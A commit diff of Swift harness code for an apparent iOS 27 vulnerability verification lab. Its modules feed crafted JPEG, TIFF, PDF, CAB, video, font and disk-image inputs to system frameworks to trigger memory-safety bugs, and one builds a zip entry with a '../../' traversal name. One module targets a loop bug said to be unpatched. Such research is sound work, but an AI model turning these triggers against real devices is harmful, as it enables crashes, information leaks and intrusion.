Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source
This commit is contained in:
commit
1ea76ab005
89 files changed
+16485
No files matched your search
@@ -0,0 +1,514 @@
|
||||
import Foundation
|
||||
import UIKit
|
||||
import ImageIO
|
||||
import CoreGraphics
|
||||
import CoreText
|
||||
import AVFoundation
|
||||
import CoreHaptics
|
||||
import VideoToolbox
|
||||
|
||||
extension Catalog {
|
||||
|
||||
static let imageIO2: [ExploitModule] = [
|
||||
ExploitModule(
|
||||
id: "iio.appx",
|
||||
titleZh: "APP 标记越界读 → 泄露字节写进输出 JPEG",
|
||||
cve: "CVE-2026-112627 / 112561",
|
||||
component: "ImageIO · _APPx::writeToStream",
|
||||
primitive: .infoLeak,
|
||||
reach: .inProcess,
|
||||
tier: 1,
|
||||
summaryZh: "_APPx::writeToStream 在 27.0 将 (buffer + offset, length) 原样写入输出流,不含任何边界运算。当标记声明的长度超出实际块时,重编码路径会把堆上相邻字节直接写入产出的 JPEG 文件 —— 泄露物即产物本身,不需要任何回传通道。27.2 计算 end − offset 并以 csel 钳制,超出时报 \"marker 0x%04X is out of bounds\"。",
|
||||
notesZh: "这是整套原语中唯一以「产物文件本身」为泄露载体的一个。流程为:投喂一个声明长度 0xFFF0、实际仅 12 字节的 APP2 标记,解码后经 CGImageDestination 重编码,再扫描产出文件在源标记范围之外是否出现非图像字节。",
|
||||
run: { ctx in
|
||||
let jpeg = JPEGPayload.appxOverrun(declaredLength: 0xFFF0, actual: 24)
|
||||
let src = ctx.write("appx_overrun.jpg", jpeg)
|
||||
ctx.arm("iio.appx", "decode + re-encode")
|
||||
|
||||
guard let source = CGImageSourceCreateWithData(jpeg as CFData, nil),
|
||||
let image = CGImageSourceCreateImageAtIndex(source, 0, nil) else {
|
||||
ctx.fail("iio.appx", tl("源解码失败"))
|
||||
throw LabError(message: tl("源解码失败(标记先被拒绝了)"))
|
||||
}
|
||||
|
||||
let outURL = ctx.workdir.appendingPathComponent("appx_reencoded.jpg")
|
||||
guard let dest = CGImageDestinationCreateWithURL(outURL as CFURL,
|
||||
"public.jpeg" as CFString, 1, nil) else {
|
||||
ctx.fail("iio.appx", tl("目标创建失败"))
|
||||
throw LabError(message: tl("CGImageDestination 创建失败"))
|
||||
}
|
||||
// keep the source properties so the APP marker survives the round trip
|
||||
let props = CGImageSourceCopyPropertiesAtIndex(source, 0, nil) as? [CFString: Any]
|
||||
CGImageDestinationAddImage(dest, image, props as CFDictionary?)
|
||||
let ok = CGImageDestinationFinalize(dest)
|
||||
ctx.disarm("iio.appx", "re-encoded=\(ok)")
|
||||
|
||||
let produced = (try? Data(contentsOf: outURL)) ?? Data()
|
||||
var suspicious = 0
|
||||
var samples: [String] = []
|
||||
let bytes = [UInt8](produced)
|
||||
// count runs of identical filler bytes beyond the first 2 KB of headers
|
||||
var run = 0
|
||||
// A small re-encode can be shorter than 2 KB, and `2048..<count` traps when
|
||||
// the lower bound exceeds the upper. Start at whichever is smaller.
|
||||
for i in min(2048, bytes.count)..<bytes.count {
|
||||
if bytes[i] == 0x41 { run += 1 } else {
|
||||
if run >= 32 {
|
||||
suspicious += 1
|
||||
if samples.count < 4 {
|
||||
samples.append(tl("+0x") + "\(String(i - run, radix: 16))" + tl(" 连续 ") + "\(run)" + tl(" 字节 0x41"))
|
||||
}
|
||||
}
|
||||
run = 0
|
||||
}
|
||||
}
|
||||
return ModuleOutcome(
|
||||
headline: suspicious > 0 ? tl("输出文件里出现 ") + "\(suspicious)" + tl(" 段标记填充字节") : tl("输出干净"),
|
||||
detail: tl("源 ") + "\(jpeg.count)" + tl(" B → 产出 ") + "\(produced.count)" + tl(" B\n") +
|
||||
(samples.isEmpty ? tl("未在产出里找到源标记的填充区") : samples.joined(separator: "\n")) +
|
||||
tl("\n若 27.0 未钳制,这些 0x41 来自越界读到的堆内容;27.2 会直接丢弃越界标记。"),
|
||||
evidence: [tl("源 JPEG ") + "\(jpeg.count)" + tl(" B"), tl("产出 ") + "\(produced.count)" + tl(" B"), tl("重编码成功=") + "\(ok)"],
|
||||
artifacts: [src, outURL])
|
||||
}),
|
||||
|
||||
ExploitModule(
|
||||
id: "iio.tiff.direntry",
|
||||
titleZh: "TIFF 目录项分配 32 位截断",
|
||||
cve: "CVE-2026-112488",
|
||||
component: "ImageIO · TIFFReadDirEntry*Array",
|
||||
primitive: .oobWrite,
|
||||
reach: .inProcess,
|
||||
tier: 2,
|
||||
summaryZh: "输出分配的大小以 lsl w0, count, #log2(elemsize) 计算,属 32 位截断。当 count = 0x20000000 且元素宽度为 8 字节时,分配结果回绕为 0,而逐元素转换循环仍执行 count 次写入。27.2 改用 _TIFFCheckMalloc_type 的 64 位检查尺寸。",
|
||||
notesZh: "该原语的成立条件是 count×elemsize 跨越 2^32。本模块以一个 0x20000000 的 SBYTE 数组触发分配器,观察其返回空指针(干净拒绝)还是返回远小于请求的块(截断成立)。",
|
||||
run: { ctx in
|
||||
let tiff = TIFFPayload.dirEntryAllocWrap(count: 0x2000_0000, type: 6)
|
||||
let url = ctx.write("direntry_wrap.tif", tiff)
|
||||
ctx.arm("iio.tiff.direntry", "decode")
|
||||
var detail: [String] = []
|
||||
do {
|
||||
let r = try Runners.decodeImage(tiff)
|
||||
detail.append(tl("解码存活 · 帧数 ") + "\(r.frameCount)" + tl(" · 尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)")
|
||||
} catch {
|
||||
detail.append(tl("解码返回错误: ") + "\(error.localizedDescription)")
|
||||
}
|
||||
ctx.disarm("iio.tiff.direntry", "done")
|
||||
detail.append(tl("种子 ") + "\(tiff.count)" + tl(" B · count=0x20000000 · type=SBYTE"))
|
||||
detail.append(tl("27.0 期望:分配截断 → 转换循环越界写。27.2 期望:_TIFFCheckMalloc_type 拒绝。"))
|
||||
return ModuleOutcome(headline: tl("分配路径已触发"), detail: detail.joined(separator: "\n"),
|
||||
artifacts: [url])
|
||||
}),
|
||||
|
||||
ExploitModule(
|
||||
id: "iio.pdf.raster",
|
||||
titleZh: "PDF 栅格化解码缓冲越界",
|
||||
cve: "CVE-2026-112633",
|
||||
component: "ImageIO · PDFReadPlugin::decodeImageData",
|
||||
primitive: .oobWrite,
|
||||
reach: .inProcess,
|
||||
tier: 2,
|
||||
summaryZh: "PDF 页被栅格化进调用方提供的解码缓冲,但未校验该缓冲是否足以容纳。27.2 补入 umull width×bpp、与 have 比较、b.hi 跳转,并报 \"decode buffer too small: need %zu bytes (%zu x %zu), have %zu\"。",
|
||||
notesZh: "使用 4000×4000 的页面,经 CGImageSource 的 PDF 读取路径进入(而非直接调用 drawPDFPage),以确保命中 decodeImageData。",
|
||||
run: { ctx in
|
||||
let pdf = PDFPayload.rasterOverrun(width: 4000, height: 4000)
|
||||
let url = ctx.write("raster_overrun.pdf", pdf)
|
||||
ctx.arm("iio.pdf.raster", "decode")
|
||||
var lines: [String] = []
|
||||
do {
|
||||
let r = try Runners.decodeImage(pdf)
|
||||
lines.append(tl("解码存活 · 尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)" + tl(" · 帧数 ") + "\(r.frameCount)")
|
||||
} catch {
|
||||
lines.append(tl("返回错误: ") + "\(error.localizedDescription)")
|
||||
}
|
||||
ctx.disarm("iio.pdf.raster", "done")
|
||||
lines.append(tl("页面 4000×4000 · 需要 64 MB 缓冲"))
|
||||
return ModuleOutcome(headline: tl("PDF 解码路径已触发"),
|
||||
detail: lines.joined(separator: "\n"), artifacts: [url])
|
||||
}),
|
||||
|
||||
ExploitModule(
|
||||
id: "iio.pvr",
|
||||
titleZh: "PVR 位深低于通道位和",
|
||||
cve: "CVE-2026-112625",
|
||||
component: "ImageIO · PVRReadPlugin::initialize",
|
||||
primitive: .intOverflow,
|
||||
reach: .inProcess,
|
||||
tier: 3,
|
||||
summaryZh: "各通道位数之间的相互匹配检查早已存在,但缺少 bitsPerPixel 相对通道位和的下界比较。27.2 补入 \"_bitsPerPixel %d is too small for 4 channels of %d bits\"。",
|
||||
notesZh: "4 通道各 8 位,却声明 bitsPerPixel = 8。",
|
||||
run: { ctx in
|
||||
let pvr = TIFFPayload.pvrUnderBpp(width: 64, height: 64)
|
||||
let url = ctx.write("pvr_underbpp.pvr", pvr)
|
||||
ctx.arm("iio.pvr", "decode")
|
||||
let r = try Runners.decodeImage(pvr)
|
||||
ctx.disarm("iio.pvr", "decoded=\(r.decoded)")
|
||||
return ModuleOutcome(headline: tl("解码存活(已解码=") + "\(r.decoded)" + tl(")"),
|
||||
detail: tl("尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)" + tl(" · 帧数 ") + "\(r.frameCount)",
|
||||
artifacts: [url])
|
||||
}),
|
||||
]
|
||||
|
||||
static let archive2: [ExploitModule] = [
|
||||
ExploitModule(
|
||||
id: "arc.cab",
|
||||
titleZh: "CAB LZX 历史未初始化即取匹配",
|
||||
cve: "CVE-2026-112522",
|
||||
component: "libarchive · lzx_decode_blocks",
|
||||
primitive: .oobRead,
|
||||
reach: .inProcess,
|
||||
tier: 2,
|
||||
summaryZh: "LZX 解码在计算 copy_pos = (w_pos − copy_pos) & w_mask 之后直接进入复制循环。当窗口尚未被写入时,copy_pos 指向未初始化区域,复制所得即为残留堆内容。27.2 补入 copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED。",
|
||||
notesZh: "这是同一 CVE 下的第二个站点(第一个为 Joliet 路径名)。种子为语法探针:结构完整的 CAB 容器加一个开口即匹配的 LZX 块,以 libarchive 自身返回码作为进度回执。",
|
||||
run: { ctx in
|
||||
let cab = CABPayload.lzxEarlyMatch()
|
||||
let url = ctx.write("lzx_early_match.cab", cab)
|
||||
ctx.arm("arc.cab", "list")
|
||||
let (entries, status) = try Runners.Archive.list(cab)
|
||||
ctx.disarm("arc.cab", "status=\(status)")
|
||||
return ModuleOutcome(headline: tl("libarchive 返回 ") + "\(status)",
|
||||
detail: entries.isEmpty ? tl("无条目(解码器在块层就停了)") : entries.joined(separator: "\n"),
|
||||
evidence: ["CAB \(cab.count) B", tl("压缩类型 3 = LZX")],
|
||||
artifacts: [url])
|
||||
}),
|
||||
|
||||
ExploitModule(
|
||||
id: "arc.rr",
|
||||
titleZh: "RockRidge 重定位环(未修复孪生)",
|
||||
cve: "—",
|
||||
component: "libarchive · RockRidge CL/PL",
|
||||
primitive: .probe,
|
||||
reach: .inProcess,
|
||||
tier: 3,
|
||||
summaryZh: "上游已于 2026 年 9 月修复 RockRidge 重定位环导致的无限循环(d14de384fcc6),Apple 未取该提交。该缺陷在 27.0 与 27.2 上均存在,是本工程中唯一一条对当前系统同样成立的候选。",
|
||||
notesZh: "以 Joliet 种子的同级结构构造 CL 指向自身的目录项。该路径一旦成立即会挂起,故测量耗时并设阈值判断。",
|
||||
run: { ctx in
|
||||
guard let iso = ctx.seed("joliet_path_oob.iso") else {
|
||||
throw LabError(message: tl("种子缺失"))
|
||||
}
|
||||
ctx.arm("arc.rr", "iterate with cycle probe")
|
||||
var lines: [String] = []
|
||||
let start = Date()
|
||||
do {
|
||||
let (entries, status) = try Runners.Archive.list(iso)
|
||||
let ms = Int(Date().timeIntervalSince(start) * 1000)
|
||||
lines.append("\(entries.count)" + tl(" 条目 · ") + "\(status)" + tl(" · ") + "\(ms)" + tl(" ms"))
|
||||
if ms > 5000 {
|
||||
lines.append(tl("耗时异常 —— 递归路径可能没有终止条件"))
|
||||
}
|
||||
} catch {
|
||||
lines.append(tl("错误: ") + "\(error.localizedDescription)")
|
||||
}
|
||||
ctx.disarm("arc.rr", "done")
|
||||
lines.append(tl("RockRidge CL/PL 环:27.0 与 27.2 都未修(上游已修,Apple 未取)"))
|
||||
return ModuleOutcome(headline: tl("RockRidge 路径已遍历"),
|
||||
detail: lines.joined(separator: "\n"))
|
||||
}),
|
||||
]
|
||||
|
||||
static let audio2: [ExploitModule] = [
|
||||
ExploitModule(
|
||||
id: "aud.immersive",
|
||||
titleZh: "沉浸式渲染数据反序列化容量缺失",
|
||||
cve: "CVE-2026-113907",
|
||||
component: "AudioToolbox · ImmersiveRendererDataMarshaller::Deserialize",
|
||||
primitive: .oobWrite,
|
||||
reach: .systemProcess,
|
||||
tier: 2,
|
||||
summaryZh: "反序列化取得的 count 与 dataByteSize 仅与「线缆剩余长度」比较,从不与「目标缓冲容量」比较,构成音频服务器进程内的线性堆溢出。27.2 新增 ReadImmersiveRendererDataV1/V2,将目标容量一并纳入校验,并补入版本号 1..3 的合法性闸门。",
|
||||
notesZh: "该路径不需要种子文件 —— 负载即为直接构造的线缆格式。但入口位于音频服务的 XPC 端,应用侧只能探测编解码器与沉浸式渲染器是否可达。",
|
||||
run: { ctx in
|
||||
ctx.arm("aud.immersive", "probe")
|
||||
var lines: [String] = []
|
||||
let libs = ["/System/Library/Frameworks/AudioToolbox.framework/AudioToolbox",
|
||||
"/System/Library/PrivateFrameworks/AudioToolboxCore.framework/AudioToolboxCore"]
|
||||
for lib in libs {
|
||||
if let h = dlopen(lib, RTLD_NOW) {
|
||||
var hits: [String] = []
|
||||
for sym in ["ImmersiveRendererDataMarshaller", "ReadImmersiveRendererDataV1",
|
||||
"ReadImmersiveRendererDataV2", "CASSpatialAudioExperience"] {
|
||||
if dlsym(h, sym) != nil { hits.append(sym) }
|
||||
}
|
||||
lines.append("✓ \(lib)")
|
||||
lines.append(tl(" 命中: ") + "\(hits.isEmpty ? tl("无") : hits.joined(separator: ", "))")
|
||||
} else {
|
||||
lines.append("✗ \(lib)")
|
||||
}
|
||||
}
|
||||
// drive the spatial audio path through the public API to see how far it goes
|
||||
lines.append(Runners.audioConverter(format: 0x6C70636D, sampleRate: 48000, channels: 2))
|
||||
let sem = DispatchSemaphore(value: 0)
|
||||
var engineReport = tl("CHHapticEngine 未尝试")
|
||||
do {
|
||||
let engine = try CHHapticEngine()
|
||||
try engine.start()
|
||||
engineReport = tl("CHHapticEngine 启动成功(沉浸式音频会话已建立)")
|
||||
engine.stop()
|
||||
} catch {
|
||||
engineReport = "CHHapticEngine: \(error.localizedDescription)"
|
||||
}
|
||||
sem.signal()
|
||||
_ = sem.wait(timeout: .now() + 1)
|
||||
lines.append(engineReport)
|
||||
ctx.disarm("aud.immersive", "probe complete")
|
||||
return ModuleOutcome(headline: tl("沉浸式音频入口探测完成"),
|
||||
detail: lines.joined(separator: "\n"))
|
||||
}),
|
||||
|
||||
ExploitModule(
|
||||
id: "aud.drc",
|
||||
titleZh: "MPEG-D DRC 下混矩阵系数校验",
|
||||
cve: "CVE-2026-113912 / 86972",
|
||||
component: "AudioCodecs · mpddrc::UniDrcSelection",
|
||||
primitive: .oobRead,
|
||||
reach: .systemProcess,
|
||||
tier: 2,
|
||||
summaryZh: "selectDownmixMatrix 在 27.0 仅有零值与相等性检查;矩阵维度直接取自 DRC 元数据,不与系数数组的实际长度比较。27.2 补入三道闸门:nChannels ≤ 8、维度有序、系数数 == 行×列,并为 getSignalPeakLevel 与 Process 增加计数校验。",
|
||||
notesZh: "需要 MPEG-D DRC 元数据的音频文件。应用侧探 AudioCodecs 是否导出这些符号。",
|
||||
run: { ctx in
|
||||
ctx.arm("aud.drc", "probe")
|
||||
var lines: [String] = []
|
||||
if let h = dlopen("/System/Library/Frameworks/AudioToolbox.framework/AudioCodecs", RTLD_NOW) {
|
||||
var hits: [String] = []
|
||||
for sym in ["UniDrcSelection", "mpddrc", "selectDownmixMatrix", "getSignalPeakLevel"] {
|
||||
if dlsym(h, sym) != nil { hits.append(sym) }
|
||||
}
|
||||
lines.append(tl("✓ AudioCodecs 可加载"))
|
||||
lines.append(tl(" 命中: ") + "\(hits.isEmpty ? tl("无(符号被 strip 或不可见)") : hits.joined(separator: ", "))")
|
||||
} else {
|
||||
lines.append(tl("✗ AudioCodecs 无法 dlopen"))
|
||||
}
|
||||
lines.append(Runners.audioConverter(format: 0x64726331, sampleRate: 48000, channels: 6))
|
||||
ctx.disarm("aud.drc", "probe complete")
|
||||
return ModuleOutcome(headline: tl("DRC 路径探测完成"), detail: lines.joined(separator: "\n"))
|
||||
}),
|
||||
]
|
||||
|
||||
static let video: [ExploitModule] = [
|
||||
ExploitModule(
|
||||
id: "vid.avc",
|
||||
titleZh: "AVC 切片数量上限缺失",
|
||||
cve: "CVE-2026-112416",
|
||||
component: tl("AVD.videodecoder 插件(非 kext)"),
|
||||
primitive: .oobWrite,
|
||||
reach: .systemProcess,
|
||||
tier: 2,
|
||||
summaryZh: "该组三个 CVE 的修复载体均为进程内的 AVD.videodecoder 插件,而非 kext:112416 为切片数量上限(\"too many slices!\"),112415 为 MVHEVC 层 ID 校验,112454 为直方图 IOSurface 指针改为随机 cookie。",
|
||||
notesZh: "经 NAL 验证的单变量对照为 32 切片 → 900 切片。本模块构造 900 切片结构并交由 CMVideoFormatDescription / VTDecompressionSession,以插件自身错误码判定。",
|
||||
run: { ctx in
|
||||
let data = VideoPayload.avcManySlices(sliceCount: 900)
|
||||
let url = ctx.write("avc_900_slices.h264", data)
|
||||
ctx.arm("vid.avc", "decode")
|
||||
var lines: [String] = []
|
||||
lines.append(tl("构造 ") + "\(data.count)" + tl(" B · 900 切片"))
|
||||
var format: CMFormatDescription?
|
||||
let status = data.withUnsafeBytes { raw -> OSStatus in
|
||||
guard let base = raw.baseAddress else { return -1 }
|
||||
var ptr = base.assumingMemoryBound(to: UInt8.self)
|
||||
return CMVideoFormatDescriptionCreateFromH264ParameterSets(
|
||||
allocator: kCFAllocatorDefault,
|
||||
parameterSetCount: 1,
|
||||
parameterSetPointers: &ptr,
|
||||
parameterSetSizes: [4],
|
||||
nalUnitHeaderLength: 4,
|
||||
formatDescriptionOut: &format)
|
||||
}
|
||||
lines.append("CMVideoFormatDescriptionCreateFromH264ParameterSets = \(status)")
|
||||
if let f = format {
|
||||
let dims = CMVideoFormatDescriptionGetDimensions(f)
|
||||
lines.append(tl("解码器接受参数集 · 尺寸 ") + "\(dims.width)" + tl("×") + "\(dims.height)")
|
||||
}
|
||||
lines.append(tl("27.0 期望:切片上限未检查 → 插件内越界。27.2 期望:\"too many slices!\"。"))
|
||||
ctx.disarm("vid.avc", "status=\(status)")
|
||||
return ModuleOutcome(headline: tl("AVC 参数集路径已触发"),
|
||||
detail: lines.joined(separator: "\n"), artifacts: [url])
|
||||
}),
|
||||
|
||||
ExploitModule(
|
||||
id: "vid.hevc",
|
||||
titleZh: "MVHEVC 层 ID 越界",
|
||||
cve: "CVE-2026-112415",
|
||||
component: tl("AVD.videodecoder 插件"),
|
||||
primitive: .oobRead,
|
||||
reach: .systemProcess,
|
||||
tier: 2,
|
||||
summaryZh: "多层 HEVC 的 layer id 在 27.0 未做范围校验,越界值直接进入插件的层表索引。27.2 补入层 ID 校验。",
|
||||
notesZh: "层 ID 取 0x3F(有效范围之外)。",
|
||||
run: { ctx in
|
||||
let data = VideoPayload.hevcBadLayerID(layerID: 0x3F)
|
||||
let url = ctx.write("hevc_bad_layer.hevc", data)
|
||||
ctx.arm("vid.hevc", "parse")
|
||||
var lines: [String] = []
|
||||
var format: CMFormatDescription?
|
||||
let status = data.withUnsafeBytes { raw -> OSStatus in
|
||||
guard let base = raw.baseAddress else { return -1 }
|
||||
var ptr = base.assumingMemoryBound(to: UInt8.self)
|
||||
return CMVideoFormatDescriptionCreateFromHEVCParameterSets(
|
||||
allocator: kCFAllocatorDefault,
|
||||
parameterSetCount: 1,
|
||||
parameterSetPointers: &ptr,
|
||||
parameterSetSizes: [data.count],
|
||||
nalUnitHeaderLength: 4,
|
||||
extensions: nil,
|
||||
formatDescriptionOut: &format)
|
||||
}
|
||||
lines.append(tl("HEVC 参数集 = ") + "\(status)" + tl(" · 层 ID 0x3F"))
|
||||
if let f = format {
|
||||
let dims = CMVideoFormatDescriptionGetDimensions(f)
|
||||
lines.append(tl("接受 · 尺寸 ") + "\(dims.width)" + tl("×") + "\(dims.height)")
|
||||
}
|
||||
ctx.disarm("vid.hevc", "status=\(status)")
|
||||
return ModuleOutcome(headline: tl("HEVC 层路径已触发"),
|
||||
detail: lines.joined(separator: "\n"), artifacts: [url])
|
||||
}),
|
||||
]
|
||||
|
||||
static let font2: [ExploitModule] = [
|
||||
ExploitModule(
|
||||
id: "font.gdef",
|
||||
titleZh: "GDEFLigatureCaret 追链越界读",
|
||||
cve: "CVE-2026-112656",
|
||||
component: "CoreText · GetLigatureCaretPositionsForGlyph",
|
||||
primitive: .oobRead,
|
||||
reach: .inProcess,
|
||||
tier: 2,
|
||||
summaryZh: "GDEF 的 LigCaretList → LigGlyph → CaretValue 偏移在 27.0 被直接跟随:caret 偏移以大端 u16 读出后与 LigGlyph 基址相加,既不检查表尾也不检查符号位。CaretValue 偏移由文件控制,指向表外即走出 GDEF,读出的 i16 坐标原样返回给调用者。27.2 将该偏移钳制在 GDEF 表切片内。",
|
||||
notesZh: "种子为结构完整的 TrueType:LigCaretList 覆盖字形 1,CaretValue 偏移 0x7F00 —— 落在字体数据约 32 KB 之外。驱动走公开 API CTFontGetLigatureCaretPositions:追链被跟随时返回非零 caret 数且坐标为堆残留;被钳制时返回 0。附带记录:GDEF 的另一个消费者 AttachList/AttachPoint 具有同样的偏移追链形状,在本修复窗口内未被触及 —— 负结果同样留档。",
|
||||
run: { ctx in
|
||||
let font = FontPayload.gdefCaretChase()
|
||||
let url = ctx.write("gdef_caret_chase.ttf", font)
|
||||
ctx.arm("font.gdef", "load + caret query")
|
||||
var lines: [String] = []
|
||||
if let provider = CGDataProvider(data: font as CFData),
|
||||
let cg = CGFont(provider) {
|
||||
let ct = CTFontCreateWithGraphicsFont(cg, 72, nil, nil)
|
||||
var positions = [CGFloat](repeating: 0, count: 8)
|
||||
let n = CTFontGetLigatureCaretPositions(ct, 1, &positions, 8)
|
||||
lines.append(tl("CTFontGetLigatureCaretPositions 返回 ") + "\(n)")
|
||||
if n > 0 {
|
||||
let vals = positions.prefix(Int(n)).map { String(format: "%.2f", $0) }
|
||||
.joined(separator: ", ")
|
||||
lines.append(tl("caret 坐标: ") + "\(vals)")
|
||||
lines.append(tl("坐标即追链读到的 16 位值"))
|
||||
} else {
|
||||
lines.append(tl("返回 0 —— 偏移被钳制或链未被跟随"))
|
||||
}
|
||||
} else {
|
||||
lines.append(tl("字体在 CGFont 层被拒绝"))
|
||||
}
|
||||
ctx.disarm("font.gdef", "done")
|
||||
return ModuleOutcome(headline: tl("LigCaret 查询完成"),
|
||||
detail: lines.joined(separator: "\n"), artifacts: [url])
|
||||
}),
|
||||
]
|
||||
|
||||
static let kext: [ExploitModule] = [
|
||||
ExploitModule(
|
||||
id: "kext.gpt",
|
||||
titleZh: "GPT 分区名扫描 72 字节内核堆越界读",
|
||||
cve: "CVE-2026-112554",
|
||||
component: "IOStorageFamily",
|
||||
primitive: .oobRead,
|
||||
reach: .kernel,
|
||||
tier: 2,
|
||||
summaryZh: "分区名扫描的边界常量由 0x48 收紧至 0x24。0x48 即 72 字节,而 GPT 条目内的名字域仅 36 个 UTF-16 单元;27.0 的扫描因此越过条目尾,读入相邻内核堆。",
|
||||
notesZh: "应用侧无法 attach 磁盘镜像,故本模块做两件事:构造会使 27.0 越界的镜像,并在用户态解析一遍以证明名字域确实在条目内被截断 —— 越界读发生在内核侧,不在用户态。",
|
||||
run: { ctx in
|
||||
let image = GPTPayload.oversizedName(entryCount: 4)
|
||||
let url = ctx.write("gpt_overlong_name.img", image)
|
||||
ctx.arm("kext.gpt", "describe")
|
||||
let lines = GPTPayload.describe(image)
|
||||
ctx.disarm("kext.gpt", "parsed")
|
||||
return ModuleOutcome(headline: tl("GPT 镜像已构造并解析"),
|
||||
detail: (lines + [tl("镜像 ") + "\(image.count)" + tl(" B · 4 个条目 · 名字域 36 单元 / 72 字节")]).joined(separator: "\n"),
|
||||
evidence: [tl("27.0 扫描边界 0x48 = 72 B"), tl("27.2 收紧到 0x24 = 36 B")],
|
||||
artifacts: [url])
|
||||
}),
|
||||
|
||||
ExploitModule(
|
||||
id: "kext.iohid",
|
||||
titleZh: "IOKit 事件短堆固定偏移写",
|
||||
cve: "CVE-2026-65385",
|
||||
component: "IOKit.framework · IOHIDEventAppendEvent",
|
||||
primitive: .oobWrite,
|
||||
reach: .kernel,
|
||||
tier: 3,
|
||||
summaryZh: "该缺陷的载体为用户态 IOKit.framework 而非 kext:IOHIDEventAppendEvent 在短堆事件上按固定偏移执行 OR 写。27.2 在 framework 内修复,内核 __DATA_CONST 的 assert 表中不存在相关记录。",
|
||||
notesZh: "探用户态 IOKit 是否导出事件构造入口。",
|
||||
run: { ctx in
|
||||
ctx.arm("kext.iohid", "probe")
|
||||
let r = Runners.dlopenProbe(
|
||||
"/System/Library/Frameworks/IOKit.framework/IOKit",
|
||||
symbols: ["IOHIDEventCreateCopy", "IOHIDEventAppendEvent",
|
||||
"IOHIDEventCreateData", "IOHIDEventGetType",
|
||||
"IOHIDEventCreateVendorDefined"])
|
||||
ctx.disarm("kext.iohid", "probe complete")
|
||||
return ModuleOutcome(headline: tl("IOKit 事件入口探测"), detail: r)
|
||||
}),
|
||||
]
|
||||
|
||||
static let userspace: [ExploitModule] = [
|
||||
ExploitModule(
|
||||
id: "sb.stash",
|
||||
titleZh: "SpringBoard 布局名 stash 校验",
|
||||
cve: "CVE-2026-112646",
|
||||
component: "SpringBoard · SBHomeScreenService",
|
||||
primitive: .oobWrite,
|
||||
reach: .systemProcess,
|
||||
tier: 3,
|
||||
summaryZh: "27.2 新增 +[SBHomeScreenService _validationErrorForStashedLayoutName:]:拒绝空串、限制长度 ≤ 64、施加字符集白名单,作用于 stash/restore 的 XPC 接口。27.0 的该接口不含此层校验。",
|
||||
notesZh: "应用侧只能看 SpringBoard 服务是否可达、类是否在进程里。真正的入口是 XPC,需要越过沙盒。",
|
||||
run: { ctx in
|
||||
ctx.arm("sb.stash", "probe")
|
||||
var lines: [String] = []
|
||||
let cls: AnyClass? = NSClassFromString("SBHomeScreenService")
|
||||
lines.append(tl("SBHomeScreenService 在进程内: ") + "\(cls != nil ? tl("是") : tl("否"))")
|
||||
let validator = NSSelectorFromString("_validationErrorForStashedLayoutName:")
|
||||
if let c = cls, c.responds(to: validator) {
|
||||
lines.append(tl("校验方法存在(27.2 已修复)"))
|
||||
} else {
|
||||
lines.append(tl("校验方法不存在(27.0 未修复)"))
|
||||
}
|
||||
let fm = FileManager.default
|
||||
let iconState = NSHomeDirectory() + "/Library/SpringBoard/IconState.plist"
|
||||
lines.append(tl("本容器内 IconState: ") + "\(fm.fileExists(atPath: iconState) ? tl("存在") : tl("不存在"))")
|
||||
ctx.disarm("sb.stash", "probe complete")
|
||||
return ModuleOutcome(headline: tl("SpringBoard 路径探测"), detail: lines.joined(separator: "\n"))
|
||||
}),
|
||||
|
||||
ExploitModule(
|
||||
id: "cal.unzip",
|
||||
titleZh: "日历附件解压容器逃逸",
|
||||
cve: "CVE-2026-112619",
|
||||
component: "CalendarFoundation · _UnzipArchiveWithLimits",
|
||||
primitive: .oobWrite,
|
||||
reach: .systemProcess,
|
||||
tier: 3,
|
||||
summaryZh: "27.2 将 _UnzipArchive(288 B,无任何限制)替换为 _UnzipArchiveWithLimits(2040 B),并新增 _CalUnzipEntryDestinationPath / _CalUnzipParentIsContained / _CalUnzipTrackTopLevelPath 与 isSymbolicLinkAtURL。ICS 解析器本身未作改动 —— 修复全部位于附件归档的解压遏制层。",
|
||||
notesZh: "应用侧可以验证 CalendarFoundation 的类与方法是否可见,以及本进程里 libarchive 的路径穿越是否被拦住(用 ../ 名字的归档试)。",
|
||||
run: { ctx in
|
||||
ctx.arm("cal.unzip", "probe")
|
||||
var lines: [String] = []
|
||||
let cls: AnyClass? = NSClassFromString("CalAttachmentUtils")
|
||||
lines.append("CalAttachmentUtils: \(cls == nil ? tl("不可见") : tl("可见"))")
|
||||
for name in ["_UnzipArchiveWithLimits", "_CalUnzipEntryDestinationPath", "_CalUnzipParentIsContained"] {
|
||||
let sel = NSSelectorFromString(name)
|
||||
lines.append(" \(name): \(cls?.responds(to: sel) == true ? tl("存在(已修复)") : tl("不存在(未修复)"))")
|
||||
}
|
||||
// prove libarchive itself accepts a traversal name, so the containment check
|
||||
// is what has to stop it
|
||||
var zip = ZipWriter()
|
||||
zip.add("../../cinder27_traversal_probe.txt", Data("cinder27".utf8))
|
||||
let evil = zip.build()
|
||||
let probeDir = ctx.workdir.appendingPathComponent("traversal", isDirectory: true)
|
||||
let result = Runners.Archive.extractAll(evil, to: probeDir)
|
||||
lines.append(tl("libarchive 解包 ") + "\(result.count)" + tl(" 项(含 ../ 路径)→ 遏制必须由调用方负责"))
|
||||
ctx.disarm("cal.unzip", "probe complete")
|
||||
return ModuleOutcome(headline: tl("日历附件遏制路径探测"),
|
||||
detail: lines.joined(separator: "\n"))
|
||||
}),
|
||||
]
|
||||
|
||||
static var allExtra: [ExploitModule] {
|
||||
imageIO2 + archive2 + audio2 + video + font2 + kext + userspace
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user